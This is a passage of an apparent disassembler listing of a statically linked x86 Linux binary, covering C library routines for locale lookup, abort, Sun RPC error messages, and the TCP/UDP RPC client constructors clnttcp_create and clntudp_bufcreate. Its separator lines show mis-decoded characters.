mov eax, [ebp+ebx*4+var_18] push eax push 2 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 3 mov eax, [ebp+ebx*4+var_30] push eax push 3 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 3 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 4 mov eax, [ebp+ebx*4+var_30] push eax push 4 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 4 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 5 mov eax, [ebp+ebx*4+var_30] push eax push 5 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 5 mov ecx, ebp call sub_8062CC8 add esp, 10h mov edx, [ebp+var_38] push edx mov ecx, ebp call sub_8062C9C mov eax, [ebp+var_38] jmp loc_8063642 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063504: ; CODE XREF: sub_8062D4C+3Dj mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8063550 mov eax, ds:dword_806AA34[ebx*4] push eax call getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8063528 cmp byte ptr [eax], 0 jnz short loc_8063538 loc_8063528: ; CODE XREF: sub_8062D4C+7D5j push offset aLang ; "LANG" call getenv mov [ebp+arg_4], eax add esp, 4 loc_8063538: ; CODE XREF: sub_8062D4C+7DAj cmp [ebp+arg_4], 0 jz short loc_8063546 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8063550 loc_8063546: ; CODE XREF: sub_8062D4C+7F0j mov eax, dword_80790BC[ebx*4] mov [ebp+arg_4], eax loc_8063550: ; CODE XREF: sub_8062D4C+7BEj ; sub_8062D4C+7F8j mov eax, [ebp+arg_4] push eax mov ecx, ebp call sub_80628F8 mov [ebp+var_34], eax add esp, 4 test eax, eax jnz short loc_8063594 mov esi, [ebp+arg_4] mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_806358D mov esi, [ebp+arg_4] mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_806360C loc_806358D: ; CODE XREF: sub_8062D4C+82Bj mov [ebp+var_34], offset unk_806AABC loc_8063594: ; CODE XREF: sub_8062D4C+817j lea eax, [ebp+var_34] push eax push ebx mov ecx, ebp call sub_8062940 mov [ebp+var_38], eax add esp, 8 test eax, eax jnz short loc_80635C0 cmp [ebp+var_34], offset unk_806AABC jz short loc_806360C mov eax, [ebp+var_34] push eax call free jmp short loc_806360C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80635C0: ; CODE XREF: sub_8062D4C+85Cj cmp ds:dword_806AA04[ebx*4], 0 jz short loc_8063628 lea eax, [ebp+arg_4] push eax push ebx call _nl_load_locale add esp, 8 test eax, eax jnz short loc_806361C mov esi, [ebp+arg_4] mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_8063603 mov esi, [ebp+arg_4] mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_806360C loc_8063603: ; CODE XREF: sub_8062D4C+8A1j mov eax, ds:dword_806AA1C[ebx*4] jmp short loc_806361C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806360C: ; CODE XREF: sub_8062D4C+Fj ; sub_8062D4C+2B8j ... mov errno, 16h loc_8063616: ; CODE XREF: sub_8062D4C+3ACj ; sub_8062D4C+478j ... xor eax, eax jmp short loc_8063642 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806361C: ; CODE XREF: sub_8062D4C+88Dj ; sub_8062D4C+8BEj push eax push ebx mov ecx, ebp call sub_8062CF8 add esp, 8 loc_8063628: ; CODE XREF: sub_8062D4C+87Cj mov eax, [ebp+var_34] push eax push ebx mov ecx, ebp call sub_8062CC8 mov esi, [ebp+var_38] push esi mov ecx, ebp call sub_8062C9C mov eax, [ebp+var_34] loc_8063642: ; CODE XREF: sub_8062D4C+2Bj ; sub_8062D4C+34j ... lea esp, [ebp+var_50] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8062D4C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806364C proc near ; CODE XREF: abort+26p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call __libc_getpid push eax call __libc_kill mov esp, ebp pop ebp retn sub_806364C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8063664 proc near ; CODE XREF: sub_8063688+Fp ; clnt_spcreateerror+8p push ebp mov ebp, esp cmp ds:dword_807E750, 0 jnz short loc_806367F push 100h call malloc mov ds:dword_807E750, eax loc_806367F: ; CODE XREF: sub_8063664+Aj mov eax, ds:dword_807E750 mov esp, ebp pop ebp retn sub_8063664 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8063688 proc near ; CODE XREF: clnt_perror+Bp var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] call sub_8063664 mov [ebp+var_10], eax mov ebx, [ebp+var_10] test ebx, ebx jnz short loc_80636B0 xor eax, eax jmp loc_8063888 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80636B0: ; CODE XREF: sub_8063688+1Cj mov edx, [esi+4] lea eax, [ebp+var_C] push eax push esi mov eax, [edx+8] call eax push edi push offset aS_2 ; "%s: " push ebx call sprintf push ebx call strlen add ebx, eax mov eax, [ebp+var_C] push eax call sub_80638B8 push eax push ebx call strcpy add esp, 24h push ebx call strlen add ebx, eax call libc_nls_init add esp, 4 cmp [ebp+var_C], 11h ja loc_806385C mov eax, [ebp+var_C] jmp ds:off_8063708[eax*4] ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 off_8063708 dd offset loc_806387A ; DATA XREF: sub_8063688+79r dd offset loc_806387A dd offset loc_806387A dd offset loc_8063750 dd offset loc_8063750 dd offset loc_806387A dd offset loc_806379C dd offset loc_80637C4 dd offset loc_806387A dd offset loc_8063838 dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A dd offset loc_806387A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063750: ; CODE XREF: sub_8063688+79j ; DATA XREF: sub_8063688+8Co ... mov eax, [ebp+var_8] mov eax, ds:dword_806AE98[eax*4] push eax mov eax, [ebp+var_8] inc eax push eax push 1 mov eax, dword_8078F9C push eax call sub_805E584 push eax push offset aErrnoS ; "; errno = %s" push 1 push 9 mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h push eax push ebx call sprintf push ebx call strlen add ebx, eax add esp, 20h jmp loc_806387A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806379C: ; CODE XREF: sub_8063688+79j ; DATA XREF: sub_8063688+98o mov eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push eax push offset aLowVersionLuHi ; "; low version = %lu, high version = %lu" push 2 push 9 mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h push eax jmp loc_8063869 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80637C4: ; CODE XREF: sub_8063688+79j ; DATA XREF: sub_8063688+9Co mov eax, [ebp+var_8] push eax call sub_8063A74 mov esi, eax push offset aWhy ; "; why = " push 3 push 9 mov eax, dword_8078F9C push eax call sub_805E584 push eax push ebx call sprintf push ebx call strlen add ebx, eax add esp, 20h test esi, esi jz short loc_8063804 push esi push offset aS_3 ; "%s" jmp short loc_8063820 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063804: ; CODE XREF: sub_8063688+16Fj mov eax, [ebp+var_8] push eax push offset aUnknownAuthent ; "(unknown authentication error - %d)" push 4 push 9 mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h push eax loc_8063820: ; CODE XREF: sub_8063688+177j push ebx call sprintf add esp, 0Ch push ebx call strlen add ebx, eax add esp, 4 jmp short loc_806387A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063838: ; CODE XREF: sub_8063688+79j ; DATA XREF: sub_8063688+A4o mov eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push eax push offset aLowVersionLuHi ; "; low version = %lu, high version = %lu" push 2 push 9 mov eax, dword_8078F9C push eax call sub_805E584 add esp, 10h push eax jmp short loc_8063869 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806385C: ; CODE XREF: sub_8063688+70j mov eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push eax push offset aS1LuS2Lu ; "; s1 = %lu, s2 = %lu" loc_8063869: ; CODE XREF: sub_8063688+134j ; sub_8063688+1D0j push ebx call sprintf push ebx call strlen add ebx, eax add esp, 14h loc_806387A: ; CODE XREF: sub_8063688+79j ; sub_8063688+10Fj ... push offset asc_806AB51 ; "\n" push ebx call sprintf mov eax, [ebp+var_10] loc_8063888: ; CODE XREF: sub_8063688+20j lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8063688 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000024 BYTES: COLLAPSED FUNCTION clnt_perror. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80638B8 proc near ; CODE XREF: sub_8063688+4Dp ; clnt_perrno+7p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] call libc_nls_init xor ebx, ebx mov edi, offset unk_80790D8 xor ecx, ecx mov eax, offset unk_80790D8 loc_80638D4: ; CODE XREF: sub_80638B8+60j cmp [eax], esi jnz short loc_80638E4 mov eax, [edi+ecx+4] push eax lea eax, [esi+1] push eax jmp short loc_8063921 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80638E4: ; CODE XREF: sub_80638B8+1Ej lea edx, [ecx+8] cmp [eax+8], esi jnz short loc_80638F8 mov eax, [edi+edx+4] push eax lea eax, [esi+1] push eax jmp short loc_8063921 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80638F8: ; CODE XREF: sub_80638B8+32j lea edx, [ecx+10h] cmp [eax+10h], esi jnz short loc_806390C mov eax, [edi+edx+4] push eax lea eax, [esi+1] push eax jmp short loc_8063921 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806390C: ; CODE XREF: sub_80638B8+46j add eax, 18h add ecx, 18h add ebx, 3 cmp ebx, 11h jbe short loc_80638D4 push offset aRpcUnknownErro ; "RPC: (unknown error code)" push 13h loc_8063921: ; CODE XREF: sub_80638B8+29j ; sub_80638B8+3Dj ... push 8 mov eax, dword_8078F9C push eax call sub_805E584 lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80638B8 endp ; [00000020 BYTES: COLLAPSED FUNCTION clnt_perrno. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION clnt_spcreateerror. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp mov eax, [ebp+8] push eax call clnt_spcreateerror push eax push offset aS_3 ; "%s" push offset unk_80787A4 call _IO_fprintf mov esp, ebp pop ebp retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8063A74 proc near ; CODE XREF: sub_8063688+140p var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] call libc_nls_init xor ebx, ebx mov edi, offset unk_8079168 xor ecx, ecx mov eax, offset unk_8079168 loc_8063A90: ; CODE XREF: sub_8063A74+80j cmp [eax], esi jnz short loc_8063AA0 mov eax, [edi+ecx+4] push eax lea eax, [ebx+1] jmp short loc_8063AD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063AA0: ; CODE XREF: sub_8063A74+1Ej lea edx, [ecx+8] cmp [eax+8], esi jnz short loc_8063AB4 mov eax, [edi+edx+4] push eax lea eax, [ebx+2] jmp short loc_8063AD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063AB4: ; CODE XREF: sub_8063A74+32j lea edx, [ecx+10h] cmp [eax+10h], esi jnz short loc_8063AC8 mov eax, [edi+edx+4] push eax lea eax, [ebx+3] jmp short loc_8063AD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063AC8: ; CODE XREF: sub_8063A74+46j lea edx, [ecx+18h] cmp [eax+18h], esi jnz short loc_8063AE8 mov eax, [edi+edx+4] push eax lea eax, [ebx+4] loc_8063AD8: ; CODE XREF: sub_8063A74+28j ; sub_8063A74+3Cj ... push eax push 7 mov eax, dword_8078F9C push eax call sub_805E584 jmp short loc_8063AF8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8063AE8: ; CODE XREF: sub_8063A74+5Aj add eax, 20h add ecx, 20h add ebx, 4 cmp ebx, 7 jbe short loc_8063A90 xor eax, eax loc_8063AF8: ; CODE XREF: sub_8063A74+72j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8063A74 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: library function bp-based frame clnttcp_create proc near ; CODE XREF: sub_805CE84+248p ; .text:0805DAB3p var_44 = byte ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 38h push edi push esi push ebx mov ebx, [ebp+arg_0] xor esi, esi call libc_nls_init push 0Ch call malloc mov edi, eax add esp, 4 test edi, edi jz short loc_8063B37 push 64h call malloc mov esi, eax add esp, 4 test esi, esi jnz short loc_8063B78 loc_8063B37: ; CODE XREF: clnttcp_create+21j push offset aOutOfMemory ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call sub_805E584 push eax push offset aClnttcp_crea_0 ; "clnttcp_create: %s\n" push offset unk_80787A4 call _IO_fprintf mov dword_8079220, 0Ch mov eax, errno mov dword_8079228, eax add esp, 1Ch jmp loc_8063D08 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063B78: ; CODE XREF: clnttcp_create+31j cmp word ptr [ebx+2], 0 jnz short loc_8063BA1 push 6 mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push ebx call pmap_getport add esp, 10h test ax, ax jz loc_8063D08 xchg al, ah mov [ebx+2], ax loc_8063BA1: ; CODE XREF: clnttcp_create+79j mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jge short loc_8063C10 push 6 push 1 push 2 call socket ; open a SOCK_STREAM socket, type PF_INET, proto TCP mov edx, [ebp+arg_C] mov [edx], eax push 0 push eax call bindresvport add esp, 14h mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jl short loc_8063BDE push 10h push ebx mov eax, [edx] push eax call connect add esp, 0Ch test eax, eax jge short loc_8063C04 loc_8063BDE: ; CODE XREF: clnttcp_create+C6j mov dword_8079220, 0Ch mov eax, errno mov dword_8079228, eax mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jl loc_8063D08 jmp loc_8063CA1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063C04: ; CODE XREF: clnttcp_create+D8j mov dword ptr [esi+4], 1 jmp short loc_8063C17 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063C10: ; CODE XREF: clnttcp_create+A3j mov dword ptr [esi+4], 0 loc_8063C17: ; CODE XREF: clnttcp_create+107j mov edx, [ebp+arg_C] mov eax, [edx] mov [esi], eax mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov eax, [ebx] mov [esi+14h], eax mov eax, [ebx+4] mov [esi+18h], eax mov eax, [ebx+8] mov [esi+1Ch], eax mov eax, [ebx+0Ch] mov [esi+20h], eax push 0 lea eax, [ebp+var_38] push eax call __libc_gettimeofday call __libc_getpid xor eax, [ebp+var_38] xor eax, [ebp+var_34] mov [ebp+var_30], eax mov [ebp+var_2C], 0 mov [ebp+var_28], 2 mov edx, [ebp+arg_4] mov [ebp+var_24], edx mov edx, [ebp+arg_8] mov [ebp+var_20], edx push 0 push 18h lea eax, [esi+30h] push eax lea ebx, [esi+4Ch] push ebx call xdrmem_create lea eax, [ebp+var_30] push eax push ebx call sub_8064C9C add esp, 20h test eax, eax jnz short loc_8063CB0 cmp dword ptr [esi+4], 0 jz short loc_8063D08 mov edx, [ebp+arg_C] loc_8063CA1: ; CODE XREF: clnttcp_create+FAj mov eax, [edx] push eax call __libc_close add esp, 4 jmp short loc_8063D08 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063CB0: ; CODE XREF: clnttcp_create+192j mov eax, [esi+50h] lea ebx, [esi+4Ch] push ebx mov eax, [eax+10h] call eax mov [esi+48h], eax mov eax, [esi+50h] add esp, 4 cmp dword ptr [eax+1Ch], 0 jz short loc_8063CD4 push ebx mov eax, [eax+1Ch] call eax add esp, 4 loc_8063CD4: ; CODE XREF: clnttcp_create+1C5j push offset sub_8064174 push offset sub_8064074 push esi mov edx, [ebp+arg_14] push edx mov edx, [ebp+arg_10] push edx lea eax, [esi+4Ch] push eax call sub_8065750 mov dword ptr [edi+4], offset off_80791A8 mov [edi+8], esi call authnone_create mov [edi], eax mov eax, edi jmp short loc_8063D16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063D08: ; CODE XREF: clnttcp_create+6Ej ; clnttcp_create+91j ... push esi call free push edi call free xor eax, eax loc_8063D16: ; CODE XREF: clnttcp_create+1FFj lea esp, [ebp+var_44] pop ebx pop esi pop edi mov esp, ebp pop ebp retn clnttcp_create endp ; [0000023F BYTES: COLLAPSED FUNCTION sub_8063D20. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000021 BYTES: COLLAPSED FUNCTION sub_8063F60. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000025 BYTES: COLLAPSED FUNCTION sub_8063F84. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000007 BYTES: COLLAPSED FUNCTION sub_8063FAC. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000078 BYTES: COLLAPSED FUNCTION sub_8063FB4. PRESS KEYPAD "+" TO EXPAND] ; [00000046 BYTES: COLLAPSED FUNCTION sub_806402C. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000FF BYTES: COLLAPSED FUNCTION sub_8064074. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000051 BYTES: COLLAPSED FUNCTION sub_8064174. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: library function bp-based frame clntudp_bufcreate proc near ; CODE XREF: sub_8064400+27p ; pmap_getport+46p var_4C = byte ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 40h push edi push esi push ebx mov edi, [ebp+arg_18] mov esi, [ebp+arg_1C] xor ebx, ebx call libc_nls_init push 0Ch call malloc mov [ebp+var_40], eax add esp, 4 test eax, eax jz short loc_806420E add edi, 3 and edi, 0FFFFFFFCh add esi, 3 and esi, 0FFFFFFFCh lea edx, [edi+esi+64h] push edx call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_8064254 loc_806420E: ; CODE XREF: clntudp_bufcreate+25j push offset aOutOfMemory_0 ; "out of memory" push 1 push 0Ah mov edx, dword_8078F9C push edx call sub_805E584 push eax push offset aClntudp_create ; "clntudp_create: %s\n" push offset unk_80787A4 call _IO_fprintf mov dword_8079220, 0Ch mov edx, errno mov dword_8079228, edx add esp, 1Ch jmp loc_80643D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064254: ; CODE XREF: clntudp_bufcreate+44j lea edx, [ebx+esi+60h] mov [ebx+58h], edx push 0 lea edx, [ebp+var_38] push edx call __libc_gettimeofday add esp, 8 mov ecx, [ebp+arg_0] cmp word ptr [ecx+2], 0 jnz short loc_806429D push 11h mov ecx, [ebp+arg_8] push ecx mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+arg_0] push ecx call pmap_getport add esp, 10h test ax, ax jz loc_80643D8 mov edx, eax xchg dl, dh mov ecx, [ebp+arg_0] mov [ecx+2], dx loc_806429D: ; CODE XREF: clntudp_bufcreate+A9j mov ecx, [ebp+var_40] mov dword ptr [ecx+4], offset off_80791C0 mov [ecx+8], ebx mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebx+8], edx mov edx, [ecx+4] mov [ebx+0Ch], edx mov edx, [ecx+8] mov [ebx+10h], edx mov edx, [ecx+0Ch] mov [ebx+14h], edx mov dword ptr [ebx+18h], 10h mov edx, [ebp+arg_C] mov [ebx+1Ch], edx mov edx, [ebp+arg_10] mov [ebx+20h], edx mov dword ptr [ebx+24h], 0FFFFFFFFh mov dword ptr [ebx+28h], 0FFFFFFFFh mov [ebx+54h], edi mov [ebx+5Ch], esi call __libc_getpid mov edx, eax xor edx, [ebp+var_38] xor edx, [ebp+var_34] mov [ebp+var_30], edx mov [ebp+var_2C], 0 mov [ebp+var_28], 2 mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov ecx, [ebp+arg_8] mov [ebp+var_20], ecx push 0 push edi mov edx, [ebx+58h] push edx lea esi, [ebx+38h] push esi call xdrmem_create lea edx, [ebp+var_30] push edx push esi call sub_8064C9C add esp, 18h test eax, eax jz loc_80643D8 mov edx, [ebx+3Ch] push esi mov edx, [edx+10h] call edx mov [ebx+50h], eax add esp, 4 mov ecx, [ebp+arg_14] cmp dword ptr [ecx], 0 jge short loc_80643B8 mov [ebp+var_3C], 1 push 11h push 2 push 2 call socket ; open a SOCK_DGRAM socket, type PF_INET, proto UDP mov ecx, [ebp+arg_14] mov [ecx], eax add esp, 0Ch test eax, eax jge short loc_8064388 mov dword_8079220, 0Ch mov edx, errno mov dword_8079228, edx jmp short loc_80643D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064388: ; CODE XREF: clntudp_bufcreate+1A5j push 0 mov ecx, [ebp+arg_14] mov edx, [ecx] push edx call bindresvport lea edx, [ebp+var_3C] push edx push 5421h mov ecx, [ebp+arg_14] mov edx, [ecx] push edx call __libc_ioctl mov dword ptr [ebx+4], 1 add esp, 14h jmp short loc_80643BF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80643B8: ; CODE XREF: clntudp_bufcreate+187j mov dword ptr [ebx+4], 0 loc_80643BF: ; CODE XREF: clntudp_bufcreate+1EBj mov ecx, [ebp+arg_14] mov edx, [ecx] mov [ebx], edx call authnone_create mov ecx, [ebp+var_40] mov [ecx], eax mov eax, [ebp+var_40] jmp short loc_80643F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80643D8: ; CODE XREF: clntudp_bufcreate+84j ; clntudp_bufcreate+C4j ... test ebx, ebx jz short loc_80643E5 push ebx call free add esp, 4 loc_80643E5: ; CODE XREF: clntudp_bufcreate+212j cmp [ebp+var_40], 0 jz short loc_80643F4 mov ecx, [ebp+var_40] push ecx call free loc_80643F4: ; CODE XREF: clntudp_bufcreate+221j xor eax, eax loc_80643F6: ; CODE XREF: clntudp_bufcreate+20Bj lea esp, [ebp+var_4C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn clntudp_bufcreate endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064400 proc near ; CODE XREF: sub_805CE84+3FBp var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_14] push 2260h push 2260h push edx mov edx, [ebp+arg_10] mov esi, [ebp+arg_C] push edx push esi push ecx push eax push ebx call clntudp_bufcreate lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064400 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064438 proc near ; DATA XREF: .data:080791C0o var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_80 